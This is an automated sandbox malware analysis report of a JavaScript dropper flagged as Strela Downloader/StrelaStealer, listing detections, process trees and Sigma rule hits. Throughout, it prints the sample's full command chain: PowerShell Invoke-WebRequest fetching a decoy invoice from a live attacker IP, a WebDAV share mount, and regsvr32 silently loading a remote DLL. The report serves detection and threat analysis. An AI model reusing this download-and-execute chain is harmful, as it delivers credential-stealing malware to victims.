Edit tour

Windows Analysis Report
853872402647317272.js

Overview

General Information

Sample name:	853872402647317272.js
Analysis ID:	1588632
MD5:	3fca831747cdcc5654901b509bb1f87b
SHA1:	8fe5bfb8060b7e3cda5350fab225571d6ce70cb5
SHA256:	f0df8b36d3946ce85ea78c4dc5165ae846cc88244bdd337389ebb26eb91ab76f
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5244 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6308 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2320 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1436 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1748,i,1113708824685853160,11246034757900747149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6728 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5036 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2892 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5244	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2320, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2320, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ProcessId: 5244, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ProcessId: 5244, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2320, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6728, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5036, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2892, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6728, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5036, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853872402647317272.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5244, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll, ProcessId: 6308, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 853872402647317272.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 853872402647317272.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 853872402647317272.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.2135139838.000001B78967C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2183135572.000001E6C5361000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191083321.000001E6C5308000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188471056.000001E6C5339000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191188807.000001E6C5339000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2191083321.000001E6C5308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: svchost.exe, 00000009.00000002.3431824802.00000252A6A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2192012458.00000252A6C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5244, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 853872402647317272.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/62@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6532

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1240:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcozf1qf.smo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 853872402647317272.js

Virustotal: Detection: 9%

